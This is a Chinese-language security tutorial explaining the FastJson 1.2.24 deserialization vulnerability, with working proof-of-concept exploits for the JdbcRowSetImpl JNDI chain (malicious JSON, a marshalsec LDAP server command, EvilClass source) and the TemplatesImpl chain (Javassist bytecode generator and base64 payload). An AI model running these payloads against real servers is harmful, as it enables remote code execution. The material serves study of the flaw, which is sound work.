文章目录
- 【java安全】FastJson反序列化漏洞浅析
- 0x00.前言
- 0x01.FastJson概述
- 0x02.FastJson使用
- 序列化与反序列化
- 0x03.反序列化漏洞
- 0x04.漏洞触发条件
- 0x05.漏洞攻击方式
- JdbcRowSetImpl利用链
- TemplatesImpl利用链
- **漏洞版本**
- POC
- 漏洞分析
【java安全】FastJson反序列化漏洞浅析
0x00.前言
前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了
0x01.FastJson概述
FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean
0x02.FastJson使用
首先我们需要使用maven导入一个fastjson的jar包,这里选择1.2.24版本
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>
序列化与反序列化
首先创建一个标准的javabean:User类
package com.leekos.serial;public class User {private String name;private int age;public User() {System.out.println("无参构造");}public User(String name, int age) {System.out.println("有参构造");this.name = name;this.age = age;}public String getName() {System.out.println("调用了get方法");return name;}public void setName(String name) {System.out.println("调用了set方法");this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +'}';}
}
测试一下fastjson中的方法:
- JSON.toJSONString(obj) 将javabean转化为json字符串
- JSON.parse(s) 将json字符串反序列化
- JSON.parseObject(s) 将json字符串反序列化
- JSON.parseObject(s,Object.class) 将json字符串反序列化
public class JsonTest {public static void main(String[] args) {User user = new User("leekos",20);// 序列化String serializeStr = JSON.toJSONString(user);System.out.println("serializeStr=" + serializeStr);System.out.println("------------------------------------------------------------------");//通过parse方法进行反序列化,返回的是一个JSONObjectObject obj1 = JSON.parse(serializeStr);System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());System.out.println("parse反序列化:" + obj1);System.out.println("------------------------------------------------------------------");//通过parseObject,不指定类,返回的是一个JSONObjectJSONObject obj2 = JSON.parseObject(serializeStr);System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());System.out.println("parseObject反序列化:" + obj2);System.out.println("------------------------------------------------------------------");//通过parseObject,指定类后返回的是一个相应的类对象User obj3 = JSON.parseObject(serializeStr, User.class);System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());System.out.println("parseObject反序列化:" + obj3);}
}
输出:
有参构造
调用了get方法
serializeStr={"age":20,"name":"leekos"}
------------------------------------------------------------------
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}
通过观察,我们可以知道:(不使用SerializerFeature.WriteClassName
参数)
- 使用
JSON.toJSONString(obj)
将javabean序列化的时候会调用get()
方法 - 使用
JSON.parse(s)
会将json串反序列化为JSONObject
对象,并没有真正反序列化,没有调用任何方法 - 使用
JSON.parseObject(s)
会将json串反序列化为JSONObject
对象,并没有真正反序列化,没有调用任何方法 - 当我们指定了
JSON.parseObject(s,User.class)
函数的第二个参数为指定类的字节码时,我们可以正确反序列化,并且会调用set()
方法
通过以上的分析,我们可能会想json串中没有与类有关的标识,我们怎么才知道这个json串反序列化对应的对象是什么类型呢?
这个时候就需要用到JSON.toJSONString(obj,SerializerFeature.WriteClassName)
的第二个参数了,如果该参数为SerializerFeature.WriteClassName
那么在序列化javabean时就会在json串中写下类的名字,保存在@type
关键字中
传入
SerializerFeature.WriteClassName
可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。
我们将上面的代码更改一下:
String serializeStr = JSON.toJSONString(user,SerializerFeature.WriteClassName);
输出:
有参构造
调用了get方法
serializeStr={"@type":"com.leekos.serial.User","age":20,"name":"leekos"}
------------------------------------------------------------------
无参构造
调用了set方法
parse反序列化对象名称:com.leekos.serial.User
parse反序列化:User{name='leekos', age=20}
------------------------------------------------------------------
无参构造
调用了set方法
调用了get方法
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}
经过分析,我们可以知道:
- 当反序列成功时,
parse()
、parseObject()
都会调用set()
方法 JSON.parseObject()
只有在第二个参数指定类,才会反序列化成功- 在字符串中使用
"@type":"com.leekos.serial.User"
指定类,当使用JSON.parseObject()
且不指定第二个参数时,会调用set()
、get()
方法,但会转化为JSONObject
对象 - 使用
JSON.parse()
方法,无法使用参数指定反序列化的类,它通过识别json串中的@type
来反序列化为指定类
0x03.反序列化漏洞
其实上面就有一个很敏感的问题,如果@type
为恶意类的话,就可以通过触发set()
、get()
方法来做一些恶意操作了
漏洞是利用fastjson autotype在处理json对象的时候,未对
@type
字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。
我们先编写一个恶意类:
package com.leekos.rce;import java.io.IOException;public class ExecObj {private String name;public ExecObj() {}public ExecObj(String name) {this.name = name;}public String getName() {return name;}public void setName(String name) throws IOException {Runtime.getRuntime().exec("calc");this.name = name;}@Overridepublic String toString() {return "ExecObj{" +"name='" + name + '\'' +'}';}
}
添加SerializerFeature.WriteClassName
后然后使用JSON.parseObject()
反序列化:
public class Test {public static void main(String[] args) {String s = "{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}";Object o = JSON.parseObject(s);}
}
成功调用set()
方法:
0x04.漏洞触发条件
不过在FastJson中还需要满足某些条件:
getter自动调用还需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 以get开头且第四个字母为大写
- 无参数传入
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
setter自动调用需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 返回值为void或者当前类
- 以set开头且第四个字母为大写
- 参数个数为1个
除此之外Fastjson还有以下功能点:
- 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField
参数 - fastjson 在为类属性寻找getter/setter方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_ -
字符串 - fastjson 在反序列化时,如果Field类型为byte[],将会调用
com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64解码,在序列化时也会进行base64编码
0x05.漏洞攻击方式
在Fastjson这个反序列化漏洞中是使用TemplatesImpl
和JdbcRowSetImpl
构造恶意代码实现命令执行,TemplatesImpl
这个类,想必前面调试过这么多链后,对该类也是比较熟悉。他的内部使用的是类加载器,去进行new一个对象,这时候定义的恶意代码在静态代码块中,就会被执行。再来说说后者JdbcRowSetImpl
是需要利用到前面学习的JNDI注入
来实现攻击的。
这里介绍两种方式:
TemplatesImpl
链JdbcRowSetImpl
链
JdbcRowSetImpl利用链
JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)
这里JNDI注入利用的是JdbcRowSetImpl
,由于需要使用JNDI,所以我们全局查找一下lookup()
发现lookup()
会在connect()
函数中被调用,并且传入参数this.getDataSourceName()
,
public void setDataSourceName(String var1) throws SQLException {if (this.getDataSourceName() != null) {if (!this.getDataSourceName().equals(var1)) {String var2 = this.getDataSourceName();super.setDataSourceName(var1);this.conn = null;this.ps = null;this.rs = null;this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);}} else {super.setDataSourceName(var1); //赋值this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);}}
setDataSourceName()
函数会对dataSourceName
赋值,并且这个函数是setxxx()
形式。即dataSourceName
可控
然后我们需要寻找哪里能调用connect()
函数,并且这个函数是setxxx()
形式:
public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);} else {this.conn = this.connect();this.conn.setAutoCommit(var1);}
}
找到了一个setAutoCommit()
,这就能简单构造一个json串了
{"@type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit""dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true // 之后再调用setAutoCommit函数,传入true
}
Demo
public class Demo {public static void main(String[] args) {String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}";JSON.parse(exp);}
}
首先我们先使用插件:marshalsec
起一个ldap服务:
(这里url指向本地的8090端口的EvilClass.class
文件)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass
然后python起一个http服务(8090端口),目录中有一个EvilClass.class
文件:
python3 -m http.server 8090
EvilClass.java源码
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;public class EvilClass implements ObjectFactory {static {System.out.println("hello,static~");}public EvilClass() throws IOException {System.out.println("constructor~");}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {Runtime.getRuntime().exec("calc");System.out.println("hello,getObjectInstance~");return null;}
}
这里使用javac(jdk7u21)编译一下
运行:
TemplatesImpl利用链
漏洞版本
fastjson 1.22-1.24
POC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;public class Test {//最终执行payload的类的原始模型//ps.要payload在static模块中执行的话,原始模型需要用static方式。public static class lala{}//返回一个在实例化过程中执行任意代码的恶意类的byte码//如果对于这部分生成原理不清楚,参考以前的文章public static byte[] getevilbyte() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(lala.class.getName());//要执行的最终命令String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";//之前说的静态初始化块和构造方法均可,这边用静态方法cc.makeClassInitializer().insertBefore(cmd);
// CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
// cons.setBody("{"+cmd+"}");
// cc.addConstructor(cons);//设置不重复的类名String randomClassName = "LaLa"+System.nanoTime();cc.setName(randomClassName);//设置满足条件的父类cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//获取字节码return cc.toBytecode();}//生成payload,触发payloadpublic static void poc() throws Exception {//生成攻击payloadbyte[] evilCode = getevilbyte();//生成恶意类的字节码String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'a.b',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";//此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响System.out.println(text1);//服务端触发payloadParserConfig config = new ParserConfig();Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);//Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField);}//main函数调用以下pocpublic static void main(String[] args){try {poc();} catch (Exception e) {e.printStackTrace();}}
}
我们执行一下,弹出计算器:
json串:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
漏洞分析
使用TemplatesImpl
链的形式触发FastJson反序列化漏洞利用条件比较苛刻
- 服务端使用
JSON.parse()
时,需要JSON.parse(s,Feature.SupportNonPublicField);
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
、JSON.parseObject(input, Feature.SupportNonPublicField);
因为payload需要赋值的一些属性为private
属性,服务端必须添加特性才会去json中恢复private属性的数据
其实根据上面的poc,我们会有几个疑问:
- 如果支队
_bytecodes
插入恶意代码,为什么需要构造这么多值 _bytecodes
中的值为什么要base64加密- 发序列化为什么要加入
Feature.SupportNonPublicField
参数值
- @type :用于存放反序列化时的目标类型,这里指定的是
TemplatesImpl
这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties
方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private
修饰,必须加入Feature.SupportNonPublicField
在parseObject中才能触发; - _bytecodes:继承
AbstractTranslet
类的恶意类字节码,并且使用Base64
编码 - _name:调用
getTransletInstance
时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链。 - _tfactory:
defineTransletClasses
中会调用其getExternalExtensionsMap
方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法。 - outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其
getOutputProperties
方法,导致bytecodes
字节码成功实例化,造成命令执行
前面说到的之所以加入Feature.SupportNonPublicField
才能触发是因为Feature.SupportNonPublicField
的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。